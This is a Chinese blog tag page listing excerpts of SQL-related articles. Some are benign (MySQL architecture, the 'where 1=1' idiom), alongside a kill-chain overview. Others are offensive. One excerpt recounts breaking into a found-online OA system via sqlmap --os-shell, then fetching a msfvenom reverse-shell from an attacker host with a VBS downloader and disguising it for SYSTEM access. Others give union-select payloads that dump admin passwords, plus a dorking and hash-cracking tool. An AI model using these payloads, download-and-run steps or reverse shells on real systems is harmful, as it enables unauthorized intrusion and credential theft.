网站首页 包含标签 SQL 的所有文章

  • MySQL体系结构详解

    客户端应用程序:客户端应用程序是与MySQL数据库交互的用户或应用程序。这些应用程序使用MySQL客户端库来建立连接、发送SQL查询和接收查询结果。 SQL解释器:SQL解释器负责解析客户端应用程序发送的SQL查询语句,将其转换为内部数据结构,然后将其传递给查询优化器。 查询优化器:查询优化器是MySQL的核心组件之一。它分析SQL查询,确定最佳执行计划,并生成一组执行操作,以便从数据库中检索所需的数据。查询优化器考虑了表的索引、表之间的关系以及其他因素来提高查询性能。 存储引擎:MySQL支持多个存储引擎,每个存储引擎负责数据的物理存储和检索。常见的存储引擎包括: InnoDB:支持事务、行级锁定、外键和高并发性。 MyISAM:不支持事务,但具有快速读取性能。 Memory:将数据存储在内存中,用于快速读取和临时存储。 连接池:连接池是用于管理数据库连接的组件。它负责创建、维护和分配数据库连接,以降低连接建立和断开的开销,提高性能。 查询缓存:查询缓存用于存储已执行查询的结果集,以便在将来相同查询的情况下能够快速检索结果。不过,在高并发写入环境中,查询缓存可能会降低性能,因此有时会被禁用。 MySQL服务器:MySQL服务器是数据库管理系统的核心。它接收来自客户端应用程序的SQL查询,通过SQL解释器和查询优化器处理查询,然后将查询委托给适当的存储引擎执行。MySQL服务器还负责安全性、权限管理、事务控制、并发控制、崩溃恢复和日志记录等任务。 日志文件:MySQL使用多种日志文件来记录数据库活动,包括: 二进制日志(Binary Logs):记录所有更改数据的SQL语句,用于复制和恢复。 错误日志(Error Log):记录数据库错误和警告信息。 查询日志(Query Log):记录所有SQL查询,通常用于调试目的。 数据文件和表空间:数据文件是用于存储表数据和索引的物理文件。这些文件通常被组织成表空间,不同的存储引擎可以在不同的表空间中存储数据。 表和索引:表是MySQL数据库中的主要数据存储单元,它们包含了数据行。索引用于加速数据检索操作,提高查询性能。 系统变量和参数文件:MySQL具有一组系统变量,允许管理员配置数据库的行为。这些变量的配置信息通常存储在参数文件中,以便进行高级配置。 ...

    2023-11-06 161
  • 某OA系统SYSTEM权限SQL注入

    0x01 发现漏洞 七月正值暑假,闲暇时光在百度上inurl一番,找到了一个古老的企业OA系统 IP站点,没有域名,扫过一眼,.NET流行时代的普遍漏洞浮现在脑海里——SQL注入 在用户名里输入admin’,不负期望地报了错 很明显,前后端都没有对用户的输入进行过滤,直接将’带入了SQL语句进行。初步判断,此OA系统存在SQL注入漏洞。 0x02 漏洞验证 打开BurpSuite,设置好浏览器代理,抓下HTTP请求,一气呵成。 问题参数为 txtLogin=admin%27,可将整个请求复制到 test.txt,使用sqlmap -r 来注入   sqlmap -u http://x.x.x.x/xx.aspx --forms 至此,可以确认存在error-based、stack quires和time-based三个类型的漏洞 0x03 判断数据库用户的权限 发现SQL注入后,首先要判断权限,高权限的注入可以为后续渗透省下很大功夫   sqlmap -u http://x.x.x.x/xx.aspx --forms --is-dba 非常nice,再次不负期望地返回了DBA权限,输入以下命令,获得一个shell   sqlmap -u http://x.x.x.x/xx.aspx --forms --os-shell NT/SYSTEM权限,时隔两个多月,复现有误,不予贴图 0x04 反弹shell 深入内网 生成一个shell   msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxxx > /var/www/html/shell.exe   由于环境艰难,不能直接上传文件,我选择了用vbs脚本来下载木马到服务器   代码如下: Set post=CreateObject("Msxml2.XMLHTTP")post.Open "GET","http://x.x.x.x/shell.exe"'发送请求post.Send()Set aGet = CreateObject("ADODB.Stream")aGet.Mode = 3aGet.Type = 1aGet.Open()'等待3秒,等文件下载wscript.sleep 3000 aGet.Write(post.responseBody)'写数据aGet.SaveToFile "shell.exe",2 用echo命令缓慢地写完了vbs脚本之后,顺利运行,下载了木马 更改名字,移动到IE安装目录进行伪装 start iee.exe 运行木马,metasploit成功收到了SYSTEM权限的shell   该主机拥有内网IP,存在内网,可以互通,并且该主机作为中央数据库 网主机皆为VMware虚拟机 0x05 结束测试,提交漏洞 本次渗透测试成功拿到最高权限, 到此为止,不再深入。随着攻击与防御技术的彼此攀升,程序员的安全意识逐渐提高,SQL也越来越少。 但不少粗糙的程序和古老的系统仍然存在此漏洞,此类漏洞解决方法简单,只用对用户输入参数稍加处理即可.  ...

    2023-03-15 415
  • 细述SQL注入攻击杀伤链的七个步骤

    网络攻击会对一家组织的系统造成巨大的破坏,而且近些年来越来越频繁。SQL注入攻击是一种破坏性特别大的攻击。这种形式的攻击指,通过使用结构化查询语言(SQL),利用网站或应用程序代码的漏洞。SQL注入攻击被认为是最严重的网络威胁之一,因为它让攻击者可以访问存储在数据库中的敏感数据、篡改或删除数据,甚至创建新的用户帐户。借助这种手段,攻击者就可以控制整个系统。 与其他网络攻击非常相似,恶意分子在整个攻击生命周期的不同阶段执行SQL注入攻击。只有剖析这种攻击的每个阶段,并了解其工作原理,组织才能够更好地保护自己,同时改善整体网络安全状况。 了解SQL注入攻击的网络杀伤链 SQL注入攻击的网络杀伤链由七个阶段组成。下面将详细阐述每一个阶段。 1. 侦察 在侦察阶段,攻击者确定有关攻击目标的信息,比如对方的弱点和漏洞。这通过从各种来源收集数据来完成,包括社交媒体帐户、公共记录和搜索引擎结果。攻击者还可能使用端口扫描器等黑客工具来识别系统上敞开的端口。特别是在SQL注入攻击期间,攻击者使用众多技术来访问目标。 了解攻击目标的弱点可以帮助攻击者集中精力,花更小的力气更快速地发动有效的攻击。攻击者了解系统或网站上存储的数据类型后,就能确定使用哪种类型的恶意代码植入到系统上。这个阶段还让攻击者可以先尝试不同的方法来攻击小目标,然后尝试攻击更大的目标。 2. 武器化 武器化阶段发生在攻击者识别并利用系统中的漏洞之后。这类漏洞可能包括代码缺陷、错误配置,或者甚至因不安全的编程实践而留下的后门。在这个阶段,攻击者将设计恶意攻击载荷,旨在访问敏感信息或破坏操作。这些攻击载荷可能以多种形式出现,包括恶意软件、脚本或注入到脆弱系统中的其他恶意代码。 SQL攻击者设计明确为目标环境定制的恶意载荷。这些载荷旨在绕过组织的安全措施、访问敏感信息或破坏操作。攻击者可能会使用Metasploit之类的自动化工具,快速轻松地生成恶意载荷。此外,攻击者可能使用自动化工具和数据提取方法(比如SQLmap或XSS攻击),将这些载荷注入到目标系统中。 3. 投放 投放阶段是指向目标系统发送恶意代码或脚本,以获得未经授权的访问权。攻击者可能使用网络钓鱼电子邮件或受攻击的网站作为途径,比如含有恶意代码的JavaScript文件或HTML文档。这些载荷所含的指令可以利用目标系统上易受攻击的Web应用程序存在的漏洞,并访问特权信息。 攻击者还可能使用跨站脚本(XSS)技术,通过客户端脚本(比如JavaScript或HTML文档)将恶意代码注入到Web应用程序中。这使得攻击者可以通过在网站或应用程序的服务器端执行未经授权的命令来窃取敏感数据,比如登录凭据。在投放阶段,攻击者可以在服务器端应用程序接受用户输入内容之前对输入内容做手脚,从而篡改现有的应用程序功能。 4. 利用 一旦攻击者获得了公司系统的访问权限,就会开始利用其资源。攻击者可以控制整个数据库,甚至控制整个网络,具体取决于他们获得的信息类型。比如说,如果他们获得了网络上具有全面特权的管理凭据,就可以删除文件、篡改设置和配置,甚至删除整个数据库。 如果恶意分子可以利用现有系统或数据库上被盗的凭据来创建拥有全面权限的新用户帐户,SQL注入攻击构成的威胁会进一步加大。借助不受限制的访问权,他们可以创建拥有特权访问权限的新用户帐户,或篡改拥有更高权限的现有用户帐户。这种类型的活动会使攻击者可以全面控制组织的IT基础设施和敏感数据,等到有人注意时为时已晚。 5. 安装 安装阶段发生在攻击者将恶意载荷成功地投放到攻击目标之后。在这个阶段,攻击者通常会在易受攻击的系统上安装后门,以保持访问权限,并在未经授权的情况下执行另外的命令。攻击者可以通过利用已知的漏洞或使用泄露的凭据安装后门。威胁分子可以使用这些后门来访问敏感信息,比如密码、信用卡号码或其他机密数据。 一旦攻击者安装了后门,他们通常会在未经授权的情况下远程连接并执行恶意命令。这可能会安装另外的恶意软件、窃取数据、篡改现有配置或控制整个系统。此外,如果攻击者能够访问系统的根目录,就可以安装他们选择的任何软件,并绕过大多数安全措施。 6. 指挥和控制 指挥和控制阶段发生在攻击者获得了易受攻击系统的访问权限,但尚未启动恶意载荷之后。在这个阶段,攻击者将建立持久性的远程访问和机制,对受攻击系统保持控制,即使系统被重新启动或与互联网的连接暂时中断也难逃魔掌。此时,攻击者还可能收集更多的信息,或部署另外的恶意文件,以帮助自己达成目的。 7. 目标行动 目标行动阶段是SQL注入攻击的最后一个阶段。在这个阶段,攻击者通常会启动恶意载荷,并采取他们想要采取的任何行动。这可能包括访问敏感数据、篡改现有配置或执行恶意命令,以进一步访问网络中的其他系统。攻击者可能利用受攻击系统作为跳板,进而对其他网络或系统执行分布式拒绝服务(DDoS)攻击,或者使用该系统来存储被盗数据或托管恶意代码。 在这个阶段,攻击者可能会通过删除表明他们参与的任何证据来企图掩盖踪迹。在攻击得逞后,他们通常会断开与远程接入点的连接,删除其活动留下的所有痕迹。 对付SQL注入时,知识就是力量 SQL注入攻击是任何一家组织面临的严重威胁。它们可能导致机密数据被盗、组织的IT基础设施受到破坏,甚至导致收入损失。然而,如果了解SQL注入攻击的不同阶段,组织就可以采取措施来减小这些风险。此外,实施强大的安全措施(比如限制对特权帐户的访问和定期扫描易受攻击的系统),有助于确保挫败任何企图实施SQL注入攻击的活动,以免造成重大破坏。  ...

    2023-02-28 230
  • 渗透测试小工具-sqlmate

    简介 在sqlmap基础上增加了目录扫描、hash爆破等功能 运行环境 linux 在云服务器上还是蛮不错的 项目连接如下 https://github.com/s0md3v/sqlmate usage: sqlmate [-h] [--dork DORK] [--hash HASH] [--list <path>] [--dump 1-184] [--admin URL] [--type PHP,ASP,HTML] optional arguments: -h, --help show this help message and exit --dork DORK Supply a dork and let SQLMate do its thing --hash HASH 'Crack' a hash in 5 secs --list <path> Import and crack hashes from a txt file --dump 1-184 Get dorks. Specify dumping level. Level 1 = 20 dorks --admin URL Find admin panel of website --type PHP,ASP,HTML Choose extension to scan (Use with --admin option, Default is all) ...

    2021-07-17 807
  • SQL 语句中 where 条件后 写上 1=1 是什么意思!

    程序员在编程过程中,经常会在代码中使用到“where 1=1”,这是为什么呢? 这段代码应该是由程序(例如Java)中生成的,where条件中 1=1 之后的条件是通过 if 块动态变化的。 例如 String sql="select * from table_name  where 1=1"; if( conditon 1) {   sql=sql+"  and  var2=value2"; } if(conditon 2) {   sql=sql+"  and var3=value3"; } where 1=1 是为了避免where 关键字后面的第一个词直接就是 “and”而导致语法错误。 动态SQL中连接AND条件 where 1=1 是为了避免where 关键字后面的第一个词直接就是 “and”而导致语法错误。 where后面总要有语句,加上了1=1后就可以保证语法不会出错! select * from table where 1=1 因为table中根本就没有名称为1的字段,所以该SQL等效于select * from table, 这个SQL语句很明显是全表扫描,需要大量的IO操作,数据量越大越慢, 建议查询时增加必输项,即where 1=1后面追加一些常用的必选条件,并且将这些必选条件建立适当的索引,效率会大大提高 拷贝表 create table  table_name   as   select   *   from   Source_table   where   1=1; 复制表结构 create table  table_name   as   select   *   from   Source_table   where   1 <> 1; 所以在查询时,where1=1的后面需要增加其它条件,并且给这些条件建立适当的索引,效率就会大大提高。...

    2021-04-06 489
  • HW常见攻击方式 -- SQL注入漏洞

    一、产生原因代码与数据不区分。程序把用户输入的恶意内容传入SQL语句中执行,导致SQL注入漏洞产生。 二、常见挖掘方式 直接对url中的参数(请求参数、请求头)进行注入 Burp抓取post包进行注入 三、判断注入点 单引号判断:如果出现错误回显,则该页面就可能存在sql注入 http://www.webanquangongjuku.com/aiyou.php?id=1' and判断: http://www.webanquangongjuku.com/aiyou.php?id=1' and 1=1 返回正常http://www.webanquangongjuku.com/aiyou.php?id=1' and1=2 如果报错,说明存在注入 or判断: http://www.webanquangongjuku.com/aiyou.php?id=1' or 1=1 http://www.webanquangongjuku.com/aiyou.php?id=1' or 1=2 返回正常,说明存在注入 XOR判断:后面的语句如果是正确的,则返回错误页面,如果是错误的,则返回正确页面,说明存在注入点 http://www.webanquangongjuku.com/aiyou.php?id=1' xor 1=1 http://www.webanquangongjuku.com/aiyou.php?id=1' xor 1=2 加减号数字判断:返回的页面和前面的页面相同,加上-1,返回错误页面,则表示存在注入漏洞 http://www.webanquangongjuku.com/aiyou.php?id=10-1 四、GET请求注入流程: 1、判断是否存在注入 1' 1' and 1=1 2、判断可显示列 1' order by 2#1' order by 3# 1' union select 1,2# 3、查询版本号和数据库 1' union select version(),database()# 4、获取当前数据库的所有表名 1' union select 1,table_name from information_schema.tables where table_schema=database()# 5、获取users表的列名 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'# 6、获取users表的user和password列 1' union select user,password from users# 五、POST请求注入流程 1、通过BurpSuite抓包 2、可以手动判断,但是能用sqlmap就不用手动,所以将该包保存到1.txt文件 sqlmap -r 1.txt 3、查看是不是管理员权限 sqlmap -r 1.txt --is-dba 禁止非法,后果自负 ...

    2021-03-19 627
  • SQL注入语法

    1.判断有无注入点: http://127.0.0.1/index.asp?id=1 and 1=1 http://127.0.0.1/index.asp?id=1 and 1=2 http://127.0.0.1/index.asp?id=1′ 2.猜字段数: http://127.0.0.1/index.asp?id=1 order by 字段数 例如: http://127.0.0.1/?id=index.asp? order by 11 http://127.0.0.1/?id=index.asp? order by 12 order by 11页面显示正常 order by 12 页面报错所以字段为11 3.暴露管理员用户、密码: http://127.0.0.1/index.asp?id=1 union select 1,2,3,4,5,6,7,8,9,10,11 from admin 1、在链接后面添加语句【union select 1,2,3,4,5,6,7,8,9,10,11 from admin】,页面显示数字为2和3 2、在链接后面添加语句【union select 1,admin,password,4,5,6,7,8,9,10,11 from admin】即可暴露管理员用户名和密码 http://127.0.0.1/index.asp?id=1 union select 1,admin,password,4,5,6,7,8,9,10,11 from admin 3、到此,即可知道管理员用户名:admin和密码:123456 >>>比较老的一种sql注入.大佬勿喷...

    2019-06-26 1139

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:8:00-23:00,节假日休息

扫码关注